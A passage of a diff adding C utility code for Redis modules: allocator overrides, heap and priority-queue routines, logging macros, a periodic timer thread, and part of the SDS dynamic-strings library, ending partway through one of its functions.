@@ -0,0 +1,51 @@
|
||||
#ifndef __RMUTIL_ALLOC__
|
||||
#define __RMUTIL_ALLOC__
|
||||
|
||||
/* Automatic Redis Module Allocation functions monkey-patching.
|
||||
*
|
||||
* Including this file while REDIS_MODULE_TARGET is defined, will explicitly
|
||||
* override malloc, calloc, realloc & free with RedisModule_Alloc,
|
||||
* RedisModule_Callc, etc implementations, that allow Redis better control and
|
||||
* reporting over allocations per module.
|
||||
*
|
||||
* You should include this file in all c files AS THE LAST INCLUDED FILE
|
||||
*
|
||||
* This only has effect when when compiling with the macro REDIS_MODULE_TARGET
|
||||
* defined. The idea is that for unit tests it will not be defined, but for the
|
||||
* module build target it will be.
|
||||
*
|
||||
*/
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <redismodule.h>
|
||||
|
||||
char *rmalloc_strndup(const char *s, size_t n);
|
||||
|
||||
#ifdef REDIS_MODULE_TARGET /* Set this when compiling your code as a module */
|
||||
|
||||
#define malloc(size) RedisModule_Alloc(size)
|
||||
#define calloc(count, size) RedisModule_Calloc(count, size)
|
||||
#define realloc(ptr, size) RedisModule_Realloc(ptr, size)
|
||||
#define free(ptr) RedisModule_Free(ptr)
|
||||
|
||||
#ifdef strdup
|
||||
#undef strdup
|
||||
#endif
|
||||
#define strdup(ptr) RedisModule_Strdup(ptr)
|
||||
|
||||
/* More overriding */
|
||||
// needed to avoid calling strndup->malloc
|
||||
#ifdef strndup
|
||||
#undef strndup
|
||||
#endif
|
||||
#define strndup(s, n) rmalloc_strndup(s, n)
|
||||
|
||||
#else
|
||||
|
||||
#endif /* REDIS_MODULE_TARGET */
|
||||
/* This function should be called if you are working with malloc-patched code
|
||||
* outside of redis, usually for unit tests. Call it once when entering your unit
|
||||
* tests' main() */
|
||||
void RMUTil_InitAlloc();
|
||||
|
||||
#endif /* __RMUTIL_ALLOC__ */
|
||||
@@ -0,0 +1,107 @@
|
||||
#include "heap.h"
|
||||
|
||||
/* Byte-wise swap two items of size SIZE. */
|
||||
#define SWAP(a, b, size) \
|
||||
do \
|
||||
{ \
|
||||
register size_t __size = (size); \
|
||||
register char *__a = (a), *__b = (b); \
|
||||
do \
|
||||
{ \
|
||||
char __tmp = *__a; \
|
||||
*__a++ = *__b; \
|
||||
*__b++ = __tmp; \
|
||||
} while (--__size > 0); \
|
||||
} while (0)
|
||||
|
||||
inline char *__vector_GetPtr(Vector *v, size_t pos) {
|
||||
return v->data + (pos * v->elemSize);
|
||||
}
|
||||
|
||||
void __sift_up(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
|
||||
size_t len = last - first;
|
||||
if (len > 1) {
|
||||
len = (len - 2) / 2;
|
||||
size_t ptr = first + len;
|
||||
if (cmp(__vector_GetPtr(v, ptr), __vector_GetPtr(v, --last)) < 0) {
|
||||
char t[v->elemSize];
|
||||
memcpy(t, __vector_GetPtr(v, last), v->elemSize);
|
||||
do {
|
||||
memcpy(__vector_GetPtr(v, last), __vector_GetPtr(v, ptr), v->elemSize);
|
||||
last = ptr;
|
||||
if (len == 0)
|
||||
break;
|
||||
len = (len - 1) / 2;
|
||||
ptr = first + len;
|
||||
} while (cmp(__vector_GetPtr(v, ptr), t) < 0);
|
||||
memcpy(__vector_GetPtr(v, last), t, v->elemSize);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void __sift_down(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *), size_t start) {
|
||||
// left-child of __start is at 2 * __start + 1
|
||||
// right-child of __start is at 2 * __start + 2
|
||||
size_t len = last - first;
|
||||
size_t child = start - first;
|
||||
|
||||
if (len < 2 || (len - 2) / 2 < child)
|
||||
return;
|
||||
|
||||
child = 2 * child + 1;
|
||||
|
||||
if ((child + 1) < len && cmp(__vector_GetPtr(v, first + child), __vector_GetPtr(v, first + child + 1)) < 0) {
|
||||
// right-child exists and is greater than left-child
|
||||
++child;
|
||||
}
|
||||
|
||||
// check if we are in heap-order
|
||||
if (cmp(__vector_GetPtr(v, first + child), __vector_GetPtr(v, start)) < 0)
|
||||
// we are, __start is larger than it's largest child
|
||||
return;
|
||||
|
||||
char top[v->elemSize];
|
||||
memcpy(top, __vector_GetPtr(v, start), v->elemSize);
|
||||
do {
|
||||
// we are not in heap-order, swap the parent with it's largest child
|
||||
memcpy(__vector_GetPtr(v, start), __vector_GetPtr(v, first + child), v->elemSize);
|
||||
start = first + child;
|
||||
|
||||
if ((len - 2) / 2 < child)
|
||||
break;
|
||||
|
||||
// recompute the child based off of the updated parent
|
||||
child = 2 * child + 1;
|
||||
|
||||
if ((child + 1) < len && cmp(__vector_GetPtr(v, first + child), __vector_GetPtr(v, first + child + 1)) < 0) {
|
||||
// right-child exists and is greater than left-child
|
||||
++child;
|
||||
}
|
||||
|
||||
// check if we are in heap-order
|
||||
} while (cmp(__vector_GetPtr(v, first + child), top) >= 0);
|
||||
memcpy(__vector_GetPtr(v, start), top, v->elemSize);
|
||||
}
|
||||
|
||||
|
||||
void Make_Heap(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
|
||||
if (last - first > 1) {
|
||||
// start from the first parent, there is no need to consider children
|
||||
for (int start = (last - first - 2) / 2; start >= 0; --start) {
|
||||
__sift_down(v, first, last, cmp, first + start);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
inline void Heap_Push(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
|
||||
__sift_up(v, first, last, cmp);
|
||||
}
|
||||
|
||||
|
||||
inline void Heap_Pop(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
|
||||
if (last - first > 1) {
|
||||
SWAP(__vector_GetPtr(v, first), __vector_GetPtr(v, --last), v->elemSize);
|
||||
__sift_down(v, first, last, cmp, first);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
#ifndef __HEAP_H__
|
||||
#define __HEAP_H__
|
||||
|
||||
#include "vector.h"
|
||||
|
||||
|
||||
/* Make heap from range
|
||||
* Rearranges the elements in the range [first,last) in such a way that they form a heap.
|
||||
* A heap is a way to organize the elements of a range that allows for fast retrieval of the element with the highest
|
||||
* value at any moment (with pop_heap), even repeatedly, while allowing for fast insertion of new elements (with
|
||||
* push_heap).
|
||||
* The element with the highest value is always pointed by first. The order of the other elements depends on the
|
||||
* particular implementation, but it is consistent throughout all heap-related functions of this header.
|
||||
* The elements are compared using cmp.
|
||||
*/
|
||||
void Make_Heap(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *));
|
||||
|
||||
|
||||
/* Push element into heap range
|
||||
* Given a heap in the range [first,last-1), this function extends the range considered a heap to [first,last) by
|
||||
* placing the value in (last-1) into its corresponding location within it.
|
||||
* A range can be organized into a heap by calling make_heap. After that, its heap properties are preserved if elements
|
||||
* are added and removed from it using push_heap and pop_heap, respectively.
|
||||
*/
|
||||
void Heap_Push(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *));
|
||||
|
||||
|
||||
/* Pop element from heap range
|
||||
* Rearranges the elements in the heap range [first,last) in such a way that the part considered a heap is shortened
|
||||
* by one: The element with the highest value is moved to (last-1).
|
||||
* While the element with the highest value is moved from first to (last-1) (which now is out of the heap), the other
|
||||
* elements are reorganized in such a way that the range [first,last-1) preserves the properties of a heap.
|
||||
* A range can be organized into a heap by calling make_heap. After that, its heap properties are preserved if elements
|
||||
* are added and removed from it using push_heap and pop_heap, respectively.
|
||||
*/
|
||||
void Heap_Pop(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *));
|
||||
|
||||
#endif //__HEAP_H__
|
||||
@@ -0,0 +1,11 @@
|
||||
#ifndef __RMUTIL_LOGGING_H__
|
||||
#define __RMUTIL_LOGGING_H__
|
||||
|
||||
/* Convenience macros for redis logging */
|
||||
|
||||
#define RM_LOG_DEBUG(ctx, ...) RedisModule_Log(ctx, "debug", __VA_ARGS__)
|
||||
#define RM_LOG_VERBOSE(ctx, ...) RedisModule_Log(ctx, "verbose", __VA_ARGS__)
|
||||
#define RM_LOG_NOTICE(ctx, ...) RedisModule_Log(ctx, "notice", __VA_ARGS__)
|
||||
#define RM_LOG_WARNING(ctx, ...) RedisModule_Log(ctx, "warning", __VA_ARGS__)
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,88 @@
|
||||
#define REDISMODULE_EXPERIMENTAL_API
|
||||
#include "periodic.h"
|
||||
#include <pthread.h>
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
|
||||
typedef struct RMUtilTimer {
|
||||
RMutilTimerFunc cb;
|
||||
RMUtilTimerTerminationFunc onTerm;
|
||||
void *privdata;
|
||||
struct timespec interval;
|
||||
pthread_t thread;
|
||||
pthread_mutex_t lock;
|
||||
pthread_cond_t cond;
|
||||
} RMUtilTimer;
|
||||
|
||||
static struct timespec timespecAdd(struct timespec *a, struct timespec *b) {
|
||||
struct timespec ret;
|
||||
ret.tv_sec = a->tv_sec + b->tv_sec;
|
||||
|
||||
long long ns = a->tv_nsec + b->tv_nsec;
|
||||
ret.tv_sec += ns / 1000000000;
|
||||
ret.tv_nsec = ns % 1000000000;
|
||||
return ret;
|
||||
}
|
||||
|
||||
static void *rmutilTimer_Loop(void *ctx) {
|
||||
RMUtilTimer *tm = ctx;
|
||||
|
||||
int rc = ETIMEDOUT;
|
||||
struct timespec ts;
|
||||
|
||||
pthread_mutex_lock(&tm->lock);
|
||||
while (rc != 0) {
|
||||
clock_gettime(CLOCK_REALTIME, &ts);
|
||||
struct timespec timeout = timespecAdd(&ts, &tm->interval);
|
||||
if ((rc = pthread_cond_timedwait(&tm->cond, &tm->lock, &timeout)) == ETIMEDOUT) {
|
||||
|
||||
// Create a thread safe context if we're running inside redis
|
||||
RedisModuleCtx *rctx = NULL;
|
||||
if (RedisModule_GetThreadSafeContext) rctx = RedisModule_GetThreadSafeContext(NULL);
|
||||
|
||||
// call our callback...
|
||||
tm->cb(rctx, tm->privdata);
|
||||
|
||||
// If needed - free the thread safe context.
|
||||
// It's up to the user to decide whether automemory is active there
|
||||
if (rctx) RedisModule_FreeThreadSafeContext(rctx);
|
||||
}
|
||||
if (rc == EINVAL) {
|
||||
perror("Error waiting for condition");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// call the termination callback if needed
|
||||
if (tm->onTerm != NULL) {
|
||||
tm->onTerm(tm->privdata);
|
||||
}
|
||||
|
||||
// free resources associated with the timer
|
||||
pthread_cond_destroy(&tm->cond);
|
||||
free(tm);
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* set a new frequency for the timer. This will take effect AFTER the next trigger */
|
||||
void RMUtilTimer_SetInterval(struct RMUtilTimer *t, struct timespec newInterval) {
|
||||
t->interval = newInterval;
|
||||
}
|
||||
|
||||
RMUtilTimer *RMUtil_NewPeriodicTimer(RMutilTimerFunc cb, RMUtilTimerTerminationFunc onTerm,
|
||||
void *privdata, struct timespec interval) {
|
||||
RMUtilTimer *ret = malloc(sizeof(*ret));
|
||||
*ret = (RMUtilTimer){
|
||||
.privdata = privdata, .interval = interval, .cb = cb, .onTerm = onTerm,
|
||||
};
|
||||
pthread_cond_init(&ret->cond, NULL);
|
||||
pthread_mutex_init(&ret->lock, NULL);
|
||||
|
||||
pthread_create(&ret->thread, NULL, rmutilTimer_Loop, ret);
|
||||
return ret;
|
||||
}
|
||||
|
||||
int RMUtilTimer_Terminate(struct RMUtilTimer *t) {
|
||||
return pthread_cond_signal(&t->cond);
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
#ifndef RMUTIL_PERIODIC_H_
|
||||
#define RMUTIL_PERIODIC_H_
|
||||
#include <time.h>
|
||||
#include <redismodule.h>
|
||||
|
||||
/** periodic.h - Utility periodic timer running a task repeatedly every given time interval */
|
||||
|
||||
/* RMUtilTimer - opaque context for the timer */
|
||||
struct RMUtilTimer;
|
||||
|
||||
/* RMutilTimerFunc - callback type for timer tasks. The ctx is a thread-safe redis module context
|
||||
* that should be locked/unlocked by the callback when running stuff against redis. privdata is
|
||||
* pre-existing private data */
|
||||
typedef void (*RMutilTimerFunc)(RedisModuleCtx *ctx, void *privdata);
|
||||
|
||||
typedef void (*RMUtilTimerTerminationFunc)(void *privdata);
|
||||
|
||||
/* Create and start a new periodic timer. Each timer has its own thread and can only be run and
|
||||
* stopped once. The timer runs `cb` every `interval` with `privdata` passed to the callback. */
|
||||
struct RMUtilTimer *RMUtil_NewPeriodicTimer(RMutilTimerFunc cb, RMUtilTimerTerminationFunc onTerm,
|
||||
void *privdata, struct timespec interval);
|
||||
|
||||
/* set a new frequency for the timer. This will take effect AFTER the next trigger */
|
||||
void RMUtilTimer_SetInterval(struct RMUtilTimer *t, struct timespec newInterval);
|
||||
|
||||
/* Stop the timer loop, call the termination callbck to free up any resources linked to the timer,
|
||||
* and free the timer after stopping.
|
||||
*
|
||||
* This function doesn't wait for the thread to terminate, as it may cause a race condition if the
|
||||
* timer's callback is waiting for the redis global lock.
|
||||
* Instead you should make sure any resources are freed by the callback after the thread loop is
|
||||
* finished.
|
||||
*
|
||||
* The timer is freed automatically, so the callback doesn't need to do anything about it.
|
||||
* The callback gets the timer's associated privdata as its argument.
|
||||
*
|
||||
* If no callback is specified we do not free up privdata. If privdata is NULL we still call the
|
||||
* callback, as it may log stuff or free global resources.
|
||||
*/
|
||||
int RMUtilTimer_Terminate(struct RMUtilTimer *t);
|
||||
|
||||
/* DEPRECATED - do not use this function (well now you can't), use terminate instead
|
||||
Free the timer context. The caller should be responsible for freeing the private data at this
|
||||
* point */
|
||||
// void RMUtilTimer_Free(struct RMUtilTimer *t);
|
||||
#endif
|
||||
@@ -0,0 +1,36 @@
|
||||
#include "priority_queue.h"
|
||||
#include "heap.h"
|
||||
|
||||
PriorityQueue *__newPriorityQueueSize(size_t elemSize, size_t cap, int (*cmp)(void *, void *)) {
|
||||
PriorityQueue *pq = malloc(sizeof(PriorityQueue));
|
||||
pq->v = __newVectorSize(elemSize, cap);
|
||||
pq->cmp = cmp;
|
||||
return pq;
|
||||
}
|
||||
|
||||
inline size_t Priority_Queue_Size(PriorityQueue *pq) {
|
||||
return Vector_Size(pq->v);
|
||||
}
|
||||
|
||||
inline int Priority_Queue_Top(PriorityQueue *pq, void *ptr) {
|
||||
return Vector_Get(pq->v, 0, ptr);
|
||||
}
|
||||
|
||||
inline size_t __priority_Queue_PushPtr(PriorityQueue *pq, void *elem) {
|
||||
size_t top = __vector_PushPtr(pq->v, elem);
|
||||
Heap_Push(pq->v, 0, top, pq->cmp);
|
||||
return top;
|
||||
}
|
||||
|
||||
inline void Priority_Queue_Pop(PriorityQueue *pq) {
|
||||
if (pq->v->top == 0) {
|
||||
return;
|
||||
}
|
||||
Heap_Pop(pq->v, 0, pq->v->top, pq->cmp);
|
||||
pq->v->top--;
|
||||
}
|
||||
|
||||
void Priority_Queue_Free(PriorityQueue *pq) {
|
||||
Vector_Free(pq->v);
|
||||
free(pq);
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
#ifndef __PRIORITY_QUEUE_H__
|
||||
#define __PRIORITY_QUEUE_H__
|
||||
|
||||
#include "vector.h"
|
||||
|
||||
/* Priority queue
|
||||
* Priority queues are designed such that its first element is always the greatest of the elements it contains.
|
||||
* This context is similar to a heap, where elements can be inserted at any moment, and only the max heap element can be
|
||||
* retrieved (the one at the top in the priority queue).
|
||||
* Priority queues are implemented as Vectors. Elements are popped from the "back" of Vector, which is known as the top
|
||||
* of the priority queue.
|
||||
*/
|
||||
typedef struct {
|
||||
Vector *v;
|
||||
|
||||
int (*cmp)(void *, void *);
|
||||
} PriorityQueue;
|
||||
|
||||
/* Construct priority queue
|
||||
* Constructs a priority_queue container adaptor object.
|
||||
*/
|
||||
PriorityQueue *__newPriorityQueueSize(size_t elemSize, size_t cap, int (*cmp)(void *, void *));
|
||||
|
||||
#define NewPriorityQueue(type, cap, cmp) __newPriorityQueueSize(sizeof(type), cap, cmp)
|
||||
|
||||
/* Return size
|
||||
* Returns the number of elements in the priority_queue.
|
||||
*/
|
||||
size_t Priority_Queue_Size(PriorityQueue *pq);
|
||||
|
||||
/* Access top element
|
||||
* Copy the top element in the priority_queue to ptr.
|
||||
* The top element is the element that compares higher in the priority_queue.
|
||||
*/
|
||||
int Priority_Queue_Top(PriorityQueue *pq, void *ptr);
|
||||
|
||||
/* Insert element
|
||||
* Inserts a new element in the priority_queue.
|
||||
*/
|
||||
size_t __priority_Queue_PushPtr(PriorityQueue *pq, void *elem);
|
||||
|
||||
#define Priority_Queue_Push(pq, elem) __priority_Queue_PushPtr(pq, &(typeof(elem)){elem})
|
||||
|
||||
/* Remove top element
|
||||
* Removes the element on top of the priority_queue, effectively reducing its size by one. The element removed is the
|
||||
* one with the highest value.
|
||||
* The value of this element can be retrieved before being popped by calling Priority_Queue_Top.
|
||||
*/
|
||||
void Priority_Queue_Pop(PriorityQueue *pq);
|
||||
|
||||
/* free the priority queue and the underlying data. Does not release its elements if
|
||||
* they are pointers */
|
||||
void Priority_Queue_Free(PriorityQueue *pq);
|
||||
|
||||
#endif //__PRIORITY_QUEUE_H__
|
||||
@@ -0,0 +1,1274 @@
|
||||
/* SDSLib 2.0 -- A C dynamic strings library
|
||||
*
|
||||
* Copyright (c) 2006-2015, Salvatore Sanfilippo <antirez at gmail dot com>
|
||||
* Copyright (c) 2015, Oran Agra
|
||||
* Copyright (c) 2015, Redis Labs, Inc
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* * Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* * Neither the name of Redis nor the names of its contributors may be used
|
||||
* to endorse or promote products derived from this software without
|
||||
* specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
|
||||
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <ctype.h>
|
||||
#include <assert.h>
|
||||
#include "sds.h"
|
||||
#include "sdsalloc.h"
|
||||
|
||||
static inline int sdsHdrSize(char type) {
|
||||
switch(type&SDS_TYPE_MASK) {
|
||||
case SDS_TYPE_5:
|
||||
return sizeof(struct sdshdr5);
|
||||
case SDS_TYPE_8:
|
||||
return sizeof(struct sdshdr8);
|
||||
case SDS_TYPE_16:
|
||||
return sizeof(struct sdshdr16);
|
||||
case SDS_TYPE_32:
|
||||
return sizeof(struct sdshdr32);
|
||||
case SDS_TYPE_64:
|
||||
return sizeof(struct sdshdr64);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static inline char sdsReqType(size_t string_size) {
|
||||
if (string_size < 32)
|
||||
return SDS_TYPE_5;
|
||||
if (string_size < 0xff)
|
||||
return SDS_TYPE_8;
|
||||
if (string_size < 0xffff)
|
||||
return SDS_TYPE_16;
|
||||
if (string_size < 0xffffffff)
|
||||
return SDS_TYPE_32;
|
||||
return SDS_TYPE_64;
|
||||
}
|
||||
|
||||
/* Create a new sds string with the content specified by the 'init' pointer
|
||||
* and 'initlen'.
|
||||
* If NULL is used for 'init' the string is initialized with zero bytes.
|
||||
*
|
||||
* The string is always null-termined (all the sds strings are, always) so
|
||||
* even if you create an sds string with:
|
||||
*
|
||||
* mystring = sdsnewlen("abc",3);
|
||||
*
|
||||
* You can print the string with printf() as there is an implicit \0 at the
|
||||
* end of the string. However the string is binary safe and can contain
|
||||
* \0 characters in the middle, as the length is stored in the sds header. */
|
||||
sds sdsnewlen(const void *init, size_t initlen) {
|
||||
void *sh;
|
||||
sds s;
|
||||
char type = sdsReqType(initlen);
|
||||
/* Empty strings are usually created in order to append. Use type 8
|
||||
* since type 5 is not good at this. */
|
||||
if (type == SDS_TYPE_5 && initlen == 0) type = SDS_TYPE_8;
|
||||
int hdrlen = sdsHdrSize(type);
|
||||
unsigned char *fp; /* flags pointer. */
|
||||
|
||||
sh = s_malloc(hdrlen+initlen+1);
|
||||
if (!init)
|
||||
memset(sh, 0, hdrlen+initlen+1);
|
||||
if (sh == NULL) return NULL;
|
||||
s = (char*)sh+hdrlen;
|
||||
fp = ((unsigned char*)s)-1;
|
||||
switch(type) {
|
||||
case SDS_TYPE_5: {
|
||||
*fp = type | (initlen << SDS_TYPE_BITS);
|
||||
break;
|
||||
}
|
||||
case SDS_TYPE_8: {
|
||||
SDS_HDR_VAR(8,s);
|
||||
sh->len = initlen;
|
||||
sh->alloc = initlen;
|
||||
*fp = type;
|
||||
break;
|
||||
}
|
||||
case SDS_TYPE_16: {
|
||||
SDS_HDR_VAR(16,s);
|
||||
sh->len = initlen;
|
||||
sh->alloc = initlen;
|
||||
*fp = type;
|
||||
break;
|
||||
}
|
||||
case SDS_TYPE_32: {
|
||||
SDS_HDR_VAR(32,s);
|
||||
sh->len = initlen;
|
||||
sh->alloc = initlen;
|
||||
*fp = type;
|
||||
break;
|
||||
}
|
||||
case SDS_TYPE_64: {
|
||||
SDS_HDR_VAR(64,s);
|
||||
sh->len = initlen;
|
||||
sh->alloc = initlen;
|
||||
*fp = type;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (initlen && init)
|
||||
memcpy(s, init, initlen);
|
||||
s[initlen] = '\0';
|
||||
return s;
|
||||
}
|
||||
|
||||
/* Create an empty (zero length) sds string. Even in this case the string
|
||||
* always has an implicit null term. */
|
||||
sds sdsempty(void) {
|
||||
return sdsnewlen("",0);
|
||||
}
|
||||
|
||||
/* Create a new sds string starting from a null terminated C string. */
|
||||
sds sdsnew(const char *init) {
|
||||
size_t initlen = (init == NULL) ? 0 : strlen(init);
|
||||
return sdsnewlen(init, initlen);
|
||||
}
|
||||
|
||||
/* Duplicate an sds string. */
|
||||
sds sdsdup(const sds s) {
|
||||
return sdsnewlen(s, sdslen(s));
|
||||
}
|
||||
|
||||
/* Free an sds string. No operation is performed if 's' is NULL. */
|
||||
void sdsfree(sds s) {
|
||||
if (s == NULL) return;
|
||||
s_free((char*)s-sdsHdrSize(s[-1]));
|
||||
}
|
||||
|
||||
/* Set the sds string length to the length as obtained with strlen(), so
|
||||
* considering as content only up to the first null term character.
|
||||
*
|
||||
* This function is useful when the sds string is hacked manually in some
|
||||
* way, like in the following example:
|
||||
*
|
||||
* s = sdsnew("foobar");
|
||||
* s[2] = '\0';
|
||||
* sdsupdatelen(s);
|
||||
* printf("%d\n", sdslen(s));
|
||||
*
|
||||
* The output will be "2", but if we comment out the call to sdsupdatelen()
|
||||
* the output will be "6" as the string was modified but the logical length
|
||||
* remains 6 bytes. */
|
||||
void sdsupdatelen(sds s) {
|
||||
int reallen = strlen(s);
|
||||
sdssetlen(s, reallen);
|
||||
}
|
||||
|
||||
/* Modify an sds string in-place to make it empty (zero length).
|
||||
* However all the existing buffer is not discarded but set as free space
|
||||
* so that next append operations will not require allocations up to the
|
||||
* number of bytes previously available. */
|
||||
void sdsclear(sds s) {
|
||||
sdssetlen(s, 0);
|
||||
s[0] = '\0';
|
||||
}
|
||||
|
||||
/* Enlarge the free space at the end of the sds string so that the caller
|
||||
* is sure that after calling this function can overwrite up to addlen
|
||||
* bytes after the end of the string, plus one more byte for nul term.
|
||||
*
|
||||
* Note: this does not change the *length* of the sds string as returned
|
||||
* by sdslen(), but only the free buffer space we have. */
|
||||
sds sdsMakeRoomFor(sds s, size_t addlen) {
|
||||
void *sh, *newsh;
|
||||
size_t avail = sdsavail(s);
|
||||
size_t len, newlen;
|
||||
char type, oldtype = s[-1] & SDS_TYPE_MASK;
|
||||
int hdrlen;
|
||||
|
||||
/* Return ASAP if there is enough space left. */
|
||||
if (avail >= addlen) return s;
|
||||
|
||||
len = sdslen(s);
|
||||
sh = (char*)s-sdsHdrSize(oldtype);
|
||||
newlen = (len+addlen);
|
||||
if (newlen < SDS_MAX_PREALLOC)
|
||||
newlen *= 2;
|
||||
else
|
||||
newlen += SDS_MAX_PREALLOC;
|
||||
|
||||
type = sdsReqType(newlen);
|
||||
|
||||
/* Don't use type 5: the user is appending to the string and type 5 is
|
||||
* not able to remember empty space, so sdsMakeRoomFor() must be called
|
||||
* at every appending operation. */
|
||||
if (type == SDS_TYPE_5) type = SDS_TYPE_8;
|
||||
|
||||
hdrlen = sdsHdrSize(type);
|
||||
if (oldtype==type) {
|
||||
newsh = s_realloc(sh, hdrlen+newlen+1);
|
||||
if (newsh == NULL) return NULL;
|
||||
s = (char*)newsh+hdrlen;
|
||||
} else {
|
||||
/* Since the header size changes, need to move the string forward,
|
||||
* and can't use realloc */
|
||||
newsh = s_malloc(hdrlen+newlen+1);
|
||||
if (newsh == NULL) return NULL;
|
||||
memcpy((char*)newsh+hdrlen, s, len+1);
|
||||
s_free(sh);
|
||||
s = (char*)newsh+hdrlen;
|
||||
s[-1] = type;
|
||||
sdssetlen(s, len);
|
||||
}
|
||||
sdssetalloc(s, newlen);
|
||||
return s;
|
||||
}
|
||||
|
||||
/* Reallocate the sds string so that it has no free space at the end. The
|
||||
* contained string remains not altered, but next concatenation operations
|
||||
* will require a reallocation.
|
||||
*
|
||||
* After the call, the passed sds string is no longer valid and all the
|
||||
* references must be substituted with the new pointer returned by the call. */
|
||||
sds sdsRemoveFreeSpace(sds s) {
|
||||
void *sh, *newsh;
|
||||
char type, oldtype = s[-1] & SDS_TYPE_MASK;
|
||||
int hdrlen;
|
||||
size_t len = sdslen(s);
|
||||
sh = (char*)s-sdsHdrSize(oldtype);
|
||||
|
||||
type = sdsReqType(len);
|
||||
hdrlen = sdsHdrSize(type);
|
||||
if (oldtype==type) {
|
||||
newsh = s_realloc(sh, hdrlen+len+1);
|
||||
if (newsh == NULL) return NULL;
|
||||
s = (char*)newsh+hdrlen;
|
||||
} else {
|
||||
newsh = s_malloc(hdrlen+len+1);
|
||||
if (newsh == NULL) return NULL;
|
||||
memcpy((char*)newsh+hdrlen, s, len+1);
|
||||
s_free(sh);
|
||||
s = (char*)newsh+hdrlen;
|
||||
s[-1] = type;
|
||||
sdssetlen(s, len);
|
||||
}
|
||||
sdssetalloc(s, len);
|
||||
return s;
|
||||
}
|
||||
|
||||
/* Return the total size of the allocation of the specifed sds string,
|
||||
* including:
|
||||
* 1) The sds header before the pointer.
|
||||
* 2) The string.
|
||||
* 3) The free buffer at the end if any.
|
||||
* 4) The implicit null term.
|
||||
*/
|
||||
size_t sdsAllocSize(sds s) {
|
||||
size_t alloc = sdsalloc(s);
|
||||
return sdsHdrSize(s[-1])+alloc+1;
|
||||
}
|
||||
|
||||
/* Return the pointer of the actual SDS allocation (normally SDS strings
|
||||
* are referenced by the start of the string buffer). */
|
||||
void *sdsAllocPtr(sds s) {
|
||||
return (void*) (s-sdsHdrSize(s[-1]));
|
||||
}
|
||||
|
||||
/* Increment the sds length and decrements the left free space at the
|
||||
* end of the string according to 'incr'. Also set the null term
|
||||
* in the new end of the string.
|
||||
*
|
||||
* This function is used in order to fix the string length after the
|
||||
* user calls sdsMakeRoomFor(), writes something after the end of
|
||||
* the current string, and finally needs to set the new length.
|
||||
*
|
||||
* Note: it is possible to use a negative increment in order to
|
||||
* right-trim the string.
|
||||
*
|
||||
* Usage example:
|
||||
*
|
||||
* Using sdsIncrLen() and sdsMakeRoomFor() it is possible to mount the
|
||||
* following schema, to cat bytes coming from the kernel to the end of an
|
||||
* sds string without copying into an intermediate buffer:
|
||||
*
|
||||
* oldlen = sdslen(s);
|
||||
* s = sdsMakeRoomFor(s, BUFFER_SIZE);
|
||||
* nread = read(fd, s+oldlen, BUFFER_SIZE);
|
||||
* ... check for nread <= 0 and handle it ...
|
||||
* sdsIncrLen(s, nread);
|
||||
*/
|
||||
void sdsIncrLen(sds s, int incr) {
|
||||
unsigned char flags = s[-1];
|
||||
size_t len;
|
||||
switch(flags&SDS_TYPE_MASK) {
|
||||
case SDS_TYPE_5: {
|
||||
unsigned char *fp = ((unsigned char*)s)-1;
|
||||
unsigned char oldlen = SDS_TYPE_5_LEN(flags);
|
||||
assert((incr > 0 && oldlen+incr < 32) || (incr < 0 && oldlen >= (unsigned int)(-incr)));
|
||||
*fp = SDS_TYPE_5 | ((oldlen+incr) << SDS_TYPE_BITS);
|
||||
len = oldlen+incr;
|
||||
break;
|
||||
}
|
||||
case SDS_TYPE_8: {
|
||||
SDS_HDR_VAR(8,s);
|
||||
assert((incr >= 0 && sh->alloc-sh->len >= incr) || (incr < 0 && sh->len >= (unsigned int)(-incr)));
|
||||
len = (sh->len += incr);
|
||||
break;
|
||||
}
|
